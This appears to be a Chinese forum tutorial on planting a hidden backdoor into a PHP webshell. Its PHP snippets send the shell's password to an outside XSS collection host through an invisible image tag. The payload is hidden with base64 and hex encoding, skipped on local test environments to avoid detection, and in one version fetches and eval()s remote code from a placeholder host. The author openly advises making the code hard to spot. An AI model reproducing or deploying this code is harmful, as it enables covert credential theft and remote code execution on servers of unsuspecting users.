Part 1 引子
說什么好呢,發個圖就當個引子好了。
Part 2 XSS平台
創建項目
選擇類型
xss代碼
小實驗,刷新代碼
XSS平台上
Part 3 后門
我們寫這樣一個腳本
<?php $password = 'admin'; // 假設這個大馬密碼 // 這個是你自己的xss代碼 echo '<img width=0height=0 src="http://xss.cn/xss.php?do=api&id=c7rL&location='.$password.'"/>';
瀏覽器,運行腳本
XSS平台上
加密XSS代碼
最終腳本
<?php
$password = 'hacksb'; // 假設這個大馬密碼 $url = 'base64加密代碼'; $hm = base64_decode($url); echo $hm.$password.' "/>';
測試下,運行腳本。
<?php $password = 'hacksb'; $url = 'PGltZB3aWR0aD0waGVpZ2h0PTAgc3JjPJodHRwOi8veHzMS5jbi94c3MucGhwP2RvPWFwaSZpZD1jNJmxvY2F0a9uPQ=='; $hm = base64_decode($url); echo $hm.$password.' "/>';
XSS平台上
Part 3 利用
找個大馬。
插入后門代碼。總之,盡可能不被別人輕而易舉識破。還有變量名不要和大馬本身沖突。
運行大馬。
XSS平台上。嘿嘿嘿
Part 4 缺陷
這后門還不夠完善,例如抓包,F12后門就漏出來了,有待完善。例如后門代碼只運行一次,本地測試環境不執行后門代碼。
Part 5 改進
我們可以加一個判斷是否是本地測試環境
$domain = $_SERVER ['HTTP_HOST']; if (strpos($domain, "0.0") !== false || strpos($domain, "192.168.") !== false || strpos($domain, "localhost") !== false) { $indexhtmls="200 OK"; }else { // 執行后門代碼 }
也可以遠程來。
$domain = $_SERVER ['HTTP_HOST']; if (strpos($domain, "0.0") !== false || strpos($domain, "192.168.") !== false || strpos($domain, "localhost") !== false) { $indexhtmls="200 OK"; }else { $a = file_get_contents('http://www.xx.com/1.txt'); eval($a); }
大概就是這個樣子
$dadada = $_SERVER ['HTTP_HOST']; if (strpos($dadada, "0.0") !== false || strpos($dadada, "192.168.") !== false || strpos($dadada, "localhost") !== false) { $s9mf="200 OK"; }else { $s9 = "687474703A2F2F7777772E78782E636F6D2F626C61636B646F6F722E747874"; http://www.xxx.com/blackdoor.txt hex編碼 $m="s9"; $f = file_get_contents(PACK('H*',$$m)); eval($f); } blackdoor.txt 內容如下: @set_time_limit(0); echo '<img width=0height=0 src="http://xsssb.cn/xss.php?do=api&id=rL&location='.$password.'"/>';
Part 6 瞎扯
參考: https://bbs.ichunqiu.com/thread-18486-1-1.html